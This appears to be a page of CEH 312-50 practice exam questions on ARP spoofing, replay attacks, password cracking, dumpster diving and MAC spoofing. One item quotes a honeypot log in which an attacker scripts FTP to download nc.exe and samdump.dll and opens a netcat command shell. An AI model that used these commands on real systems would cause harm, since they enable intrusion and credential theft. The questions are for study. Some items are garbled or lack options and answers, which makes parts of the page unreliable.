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2021 Apr 312-50 free practice test
Q421. Harold is the senior security analyst for a small state agency in New York. He has no other security professionals that work under him, so he has to do all the security-related tasks for the agency. Coming from a computer hardware background, Harold does not have a lot of experience with security methodologies and technologies, but he was the only one who applied for the position.
Harold is currently trying to run a Sniffer on the agency’s network to get an idea of what kind of traffic is being passed around but the program he is using does not seem to be capturing anything. He pours through the sniffer’s manual but can’t find anything that directly relates to his problem. Harold decides to ask the network administrator if the has any thoughts on the problem. Harold is told that the sniffer was not working because the agency’s network is a switched network, which can’t be sniffed by some programs without some tweaking.
What technique could Harold use to sniff agency’s switched network?
A. ARP spoof the default gateway
B. Conduct MiTM against the switch
C. Launch smurf attack against the switch
D. Flood switch with ICMP packets
Explanation: ARP spoofing, also known as ARP poisoning, is a technique used to attack an Ethernet network which may allow an attacker to sniff data frames on a local area network (LAN) or stop the traffic altogether (known as a denial of service attack). The principle of ARP spoofing is to send fake, or 'spoofed', ARP messages to an Ethernet LAN. These frames contain false MAC addresses, confusing network devices, such as network switches. As a result frames intended for one machine can be mistakenly sent to another (allowing the packets to be sniffed) or an unreachable host (a denial of service attack).
Q422. Matthew re-injects a captured wireless packet back onto the network. He does this hundreds of times within a second. The packet is correctly encrypted and Matthew assumes it is an ARP request packet. The wireless host responds with a stream of responses, all individually encrypted with different IVs. What is this attack most appropriately called?
A. Spoof Attack
B. Replay Attack
C. Inject Attack
D. Rebound Attack
Explanation: A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it.
Q423. Google uses a unique cookie for each browser used by an individual user on a computer. This cookie contains information that allows Google to identify records about that user on its database. This cookie is submitted every time a user launches a Google search, visits a site using AdSense etc. The information stored in Google's database, identified by the cookie, includes
-Everything you search for using Google -Every web page you visit that has Google Adsense ads
How would you prevent Google from storing your search keywords?
A. Block Google Cookie by applying Privacy and Security settings in your web browser
B. Disable the Google cookie using Google Advanced Search settings on Google Search page
C. Do not use Google but use another search engine Bing which will not collect and store your search keywords
D. Use MAC OS X instead of Windows 7. Mac OS has higher level of privacy controls by default.
Q424. Wayne is the senior security analyst for his company. Wayne is examining some traffic logs on a server and came across some inconsistencies. Wayne finds some IP packets from a computer purporting to be on the internal network. The packets originate from 192.168.12.35 with a TTL of
15. The server replied to this computer and received a response from 192.168.12.35 with a TTL of
21. What can Wayne infer from this traffic log?
A. The initial traffic from 192.168.12.35 was being spoofed.
B. The traffic from 192.168.12.25 is from a Linux computer.
C. The TTL of 21 means that the client computer is on wireless.
D. The client computer at 192.168.12.35 is a zombie computer.
Q425. When Jason moves a file via NFS over the company's network, you want to grab a copy of it by sniffing. Which of the following tool accomplishes this?
Explanation: Filesnarf - sniff files from NFS traffic
Specify the interface to listen on.
-v "Versus" mode. Invert the sense of matching, to
select non-matching files.
Specify regular expression for filename matching.
Specify a tcpdump(8) filter expression to select
traffic to sniff.
Update 312-50 actual test:
Q426. Bob has a good understanding of cryptography, having worked with it for many years. Cryptography is used to secure data from specific threats but it does not secure the data from the specific threats but it does no secure the application from coding errors. It can provide data privacy; integrity and enable strong authentication but it can’t mitigate programming errors. What is a good example of a programming error that Bob can use to explain to the management how encryption will not address all their security concerns?
A. Bob can explain that using a weak key management technique is a form of programming error
B. Bob can explain that using passwords to derive cryptographic keys is a form of a programming error
C. Bob can explain that a buffer overflow is an example of programming error and it is a common mistake associated with poor programming technique
D. Bob can explain that a random number generation can be used to derive cryptographic keys but it uses a weak seed value and this is a form of a programming error
Explanation: In computer security and programming, a buffer overflow, or buffer overrun, is a programming error which may result in a memory access exception and program termination, or in the event of the user being malicious, a possible breach of system security.
Q427. What is "Hacktivism"?
A. Hacking for a cause
B. Hacking ruthlessly
C. An association which groups activists
D. None of the above
Explanation: The term was coined by author/critic Jason Logan King Sack in an article about media artist Shu Lea Cheang. Acts of hacktivism are carried out in the belief that proper use of code will have leveraged effects similar to regular activism or civil disobedience.
Q428. Johnny is a member of the hacking group orpheus1. He is currently working on breaking into the Department of Defense’s front end exchange server. He was able to get into the server, located in a DMZ, by using an unused service account that had a very weak password that he was able to guess. Johnny wants to crack the administrator password, but does not have a lot of time to crack it. He wants to use a tool that already has the LM hashes computed for all possible permutations of the administrator password.
What tool would be best used to accomplish this?
Explanation: RainbowCrack is a general propose implementation of Philippe Oechslin's faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called "rainbow table". It does take a long time to precompute the tables. But once the one time precomputation is finished, a time-memory trade-off cracker can be hundreds of times faster than a brute force cracker, with the help of precomputed tables.
Topic 14, SQL Injection
380. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 126.96.36.199. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
“cmd1.exe /c open 188.8.131.52 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom”
“cmd1.exe /c ftp –s:ftpcom”
“cmd1.exe /c nc –l –p 6969 e-cmd1.exe”
What can you infer from the exploit given?
A. It is a local exploit where the attacker logs in using username johna2k.
B. There are two attackers on the system – johna2k and haxedj00.
C. The attack is a remote exploit and the hacker downloads three files.
D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.
Q429. Oregon Corp is fighting a litigation suit with Scamster Inc. Oregon has assigned a private investigative agency to go through garbage, recycled paper, and other rubbish at Scamster's office site in order to find relevant information. What would you call this kind of activity?
A. Garbage Scooping
B. Dumpster Diving
D. CI Gathering
Explanation: Dumpster diving is the colloquial name for going through somebody's garbage --which will usually be in dumpsters for large organizations. This is a powerful tactic because it is protected by social taboos. Trash is bad, and once it goes into the trash, something is best forgotten. The reality is that most company trash is fairly clean, and provides a gold mine of information.
Q430. Hampton is the senior security analyst for the city of Columbus in Ohio. His primary responsibility is to ensure that all physical and logical aspects of the city's computer network are secure from all angles. Bill is an IT technician that works with Hampton in the same IT department. Bill's primary responsibility is to keep PC's and servers up to date and to keep track of all the agency laptops that the company owns and lends out to its employees. After Bill setup a wireless network for the agency, Hampton made sure that everything was secure. He instituted encryption, rotating keys, turned off SSID broadcasting, and enabled MAC filtering. According to agency policy, only company laptops are allowed to use the wireless network, so Hampton entered all the MAC addresses for those laptops into the wireless security utility so that only those laptops should be able to access the wireless network.
Hampton does not keep track of all the laptops, but he is pretty certain that the agency only purchases Dell laptops. Hampton is curious about this because he notices Bill working on a Toshiba laptop one day and saw that he was on the Internet. Instead of jumping to conclusions, Hampton decides to talk to Bill's boss and see if they had purchased a Toshiba laptop instead of the usual Dell. Bill's boss said no, so now Hampton is very curious to see how Bill is accessing the Internet. Hampton does site surveys every couple of days, and has yet to see any outside wireless network signals inside the company's building.
How was Bill able to get Internet access without using an agency laptop?
A. Bill spoofed the MAC address of Dell laptop
B. Bill connected to a Rogue access point
C. Toshiba and Dell laptops share the same hardware address
D. Bill brute forced the Mac address ACLs